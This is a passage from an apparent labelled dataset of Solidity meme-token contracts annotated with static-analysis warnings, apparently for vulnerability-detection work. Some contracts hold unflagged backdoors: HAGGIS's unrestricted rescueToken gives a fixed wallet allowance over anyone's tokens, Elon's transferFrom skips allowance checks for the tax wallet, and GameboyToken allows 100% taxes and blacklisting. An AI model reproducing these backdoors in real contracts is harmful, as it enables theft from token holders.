4584163: Emit an event for critical parameter changes.\n function setTaxes(\n uint256 newBuyTax,\n uint256 newSellTax,\n uint256 newTransferTax\n ) external onlyOwner {\n require(\n newBuyTax <= 100 && newSellTax <= 100 && newTransferTax <= 100,\n \"Tax cannot exceed 100%\"\n );\n\n\t\t// events-maths | ID: 4584163\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 4584163\n sellTax = newSellTax;\n\n\t\t// events-maths | ID: 4584163\n transferTax = newTransferTax;\n }\n\n function excludeFromLimits(address wallet) external onlyOwner {\n _isLimitFree[wallet] = true;\n }\n\n function removeFromExclusion(address wallet) external onlyOwner {\n _isLimitFree[wallet] = false;\n }\n\n function blacklistAddress(address account) external onlyOwner {\n _blacklist[account] = true;\n }\n\n function unblacklistAddress(address account) external onlyOwner {\n _blacklist[account] = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a016105): GameboyToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a016105: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3d1cae1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 74ecbb5\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!_blacklist[from] && !_blacklist[to], \"Blacklisted address\");\n\n uint256 taxAmount = 0;\n\n if (!_isLimitFree[from] && !_isLimitFree[to]) {\n require(launch, \"Trading not started\");\n\n if (from == uniswapV2Pair) {\n taxAmount = (amount * buyTax) / 100;\n } else if (to == uniswapV2Pair) {\n taxAmount = (amount * sellTax) / 100;\n } else {\n taxAmount = (amount * transferTax) / 100;\n }\n }\n\n uint256 transferAmount = amount - taxAmount;\n\n _balance[from] -= amount;\n\n _balance[to] += transferAmount;\n\n _balance[taxAddress] += taxAmount;\n\n emit Transfer(from, to, transferAmount);\n\n if (taxAmount > 0) emit Transfer(from, taxAddress, taxAmount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: af7130d): GameboyToken.withdrawETH(uint256,address).recipient lacks a zerocheck on \t (success,None) = recipient.call{value amount}()\n\t// Recommendation for af7130d: Check that the address is not zero.\n function withdrawETH(uint256 amount, address recipient) external onlyOwner {\n require(address(this).balance >= amount, \"Insufficient ETH balance\");\n\n\t\t// missing-zero-check | ID: af7130d\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(success, \"ETH transfer failed\");\n }\n\n function withdrawTokens(\n address tokenAddress,\n address recipient,\n uint256 amount\n ) external onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n require(\n token.balanceOf(address(this)) >= amount,\n \"Insufficient token balance in contract\"\n );\n\n bool success = token.transfer(recipient, amount);\n\n require(success, \"Token transfer failed\");\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1030.sol", "secure": 0, "size_bytes": 10911 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HAGGIS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a515095): HAGGIS._taxWallet should be immutable \n\t// Recommendation for a515095: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b72a3): HAGGIS._HAGGISfund should be constant \n\t// Recommendation for a0b72a3: Add the 'constant' attribute to state variables that never change.\n address private _HAGGISfund = 0xA7125CaaAc45fb00B595D6Ab59781F7635b90f3e;\n\n\t// WARNING Optimization Issue (constable-states | ID: 599a386): HAGGIS._initBuyTax should be constant \n\t// Recommendation for 599a386: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: efb30af): HAGGIS._initSellTax should be constant \n\t// Recommendation for efb30af: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e16f2bb): HAGGIS._finalTaxBuy should be constant \n\t// Recommendation for e16f2bb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTaxBuy = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e916a07): HAGGIS._finalTaxSell should be constant \n\t// Recommendation for e916a07: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTaxSell = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6739710): HAGGIS._reduceBuyAt should be constant \n\t// Recommendation for 6739710: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd216e9): HAGGIS._reduceSellAt should be constant \n\t// Recommendation for fd216e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd243fe): HAGGIS._preventCount should be constant \n\t// Recommendation for dd243fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 10;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Haggis\";\n\n string private constant _symbol = unicode\"HAGGIS\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cc1c2d): HAGGIS._maxTxAmount should be constant \n\t// Recommendation for 9cc1c2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxTxAmount = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: a25f679): HAGGIS._maxWalletSize should be constant \n\t// Recommendation for a25f679: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxWalletSize = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d3c56f): HAGGIS._minTaxSwap should be constant \n\t// Recommendation for 9d3c56f: Add the 'constant' attribute to state variables that never change.\n uint256 private _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4eb33b2): HAGGIS._maxTaxSwap should be constant \n\t// Recommendation for 4eb33b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: c596c3f): HAGGIS._caLimitSell should be constant \n\t// Recommendation for c596c3f: Add the 'constant' attribute to state variables that never change.\n bool private _caLimitSell = false;\n\n uint256 private _caBlockSell = 0;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_HAGGISfund);\n\n _isExcludeFromFee[owner()] = true;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[_taxWallet] = true;\n\n _balances[address(this)] = (_tTotal * 98) / 100;\n\n _balances[_msgSender()] = (_tTotal * 2) / 100;\n\n emit Transfer(address(0), address(this), (_tTotal * 98) / 100);\n\n emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d6cf588): HAGGIS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d6cf588: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5920bd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5920bd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a52e2bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a52e2bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-benign | ID: a52e2bf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-benign | ID: a52e2bf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e81345): HAGGIS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e81345: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a52e2bf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5920bd2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6041f4e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6041f4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: bb58789): HAGGIS._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for bb58789: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 396172f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 396172f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7d90a1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7d90a1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n _taxAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt) ? _finalTaxBuy : _initBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludeFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalTaxSell\n : _initSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: bb58789\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t// reentrancy-eth | ID: 396172f\n\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t\t// reentrancy-eth | ID: 396172f\n\t\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 396172f\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t// reentrancy-eth | ID: 396172f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t\t// reentrancy-eth | ID: 396172f\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 396172f\n _balances[address(this)] = _balances[address(this)].add(_taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6041f4e\n emit Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 396172f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 396172f\n _balances[to] = _balances[to].add(amount.sub(_taxAmount));\n\n\t\t// reentrancy-events | ID: 6041f4e\n emit Transfer(from, to, amount.sub(_taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6041f4e\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-benign | ID: a52e2bf\n\t\t// reentrancy-eth | ID: 396172f\n\t\t// reentrancy-eth | ID: 7d90a1d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueToken(address _addr) external {\n _allowances[_addr][_HAGGISfund] = _maxTxAmount;\n }\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 54a811e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 54a811e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c78b027): HAGGIS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c78b027: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e59b886): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e59b886: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 54a811e\n\t\t// reentrancy-eth | ID: e59b886\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 54a811e\n\t\t// unused-return | ID: c78b027\n\t\t// reentrancy-eth | ID: e59b886\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 54a811e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e59b886\n tradingOpen = true;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6041f4e\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-eth | ID: 396172f\n\t\t// reentrancy-eth | ID: 7d90a1d\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1031.sol", "secure": 0, "size_bytes": 17873 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEPER is IERC20 {\n string public constant name = \"PEPER6900\";\n\n string public constant symbol = \"$PEPER\";\n\n uint8 public constant decimals = 18;\n\n uint256 private immutable _totalSupply = 1 * 10 ** uint256(decimals);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(\n _balances[msg.sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n _allowances[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_1032.sol", "secure": 1, "size_bytes": 2402 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Elon is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 771fadb): Elon.deployer should be immutable \n\t// Recommendation for 771fadb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d9a8d5): Elon._initialBuyTax should be constant \n\t// Recommendation for 6d9a8d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7993bd3): Elon._initialSellTax should be constant \n\t// Recommendation for 7993bd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49946d5): Elon._finalBuyTax should be constant \n\t// Recommendation for 49946d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e559dd6): Elon._finalSellTax should be constant \n\t// Recommendation for e559dd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a1ec95): Elon._reduceBuyTaxAt should be constant \n\t// Recommendation for 0a1ec95: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd0cf32): Elon._reduceSellTaxAt should be constant \n\t// Recommendation for cd0cf32: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon Leading the Crypto Revolution\";\n\n string private constant _symbol = unicode\"ELON\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 484b7b9): Elon._maxTaxSwap should be constant \n\t// Recommendation for 484b7b9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deployer = msg.sender;\n\n _taxWallet = payable(0x0ab13c81Fc334447e59C2cc8A9E5e4B01e7bd34D);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7858539): Elon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7858539: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ccf211): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ccf211: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a50e29b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a50e29b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5ccf211\n\t\t// reentrancy-benign | ID: a50e29b\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: 5ccf211\n\t\t\t// reentrancy-benign | ID: a50e29b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0438f15): Elon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0438f15: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a50e29b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5ccf211\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69878ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69878ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ce4fef7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ce4fef7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != address(this) && to != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 69878ce\n\t\t\t\t\t// reentrancy-eth | ID: ce4fef7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 69878ce\n\t\t\t\t// reentrancy-eth | ID: ce4fef7\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ce4fef7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 69878ce\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ce4fef7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ce4fef7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 69878ce\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 69878ce\n\t\t// reentrancy-events | ID: 5ccf211\n\t\t// reentrancy-benign | ID: a50e29b\n\t\t// reentrancy-eth | ID: ce4fef7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n 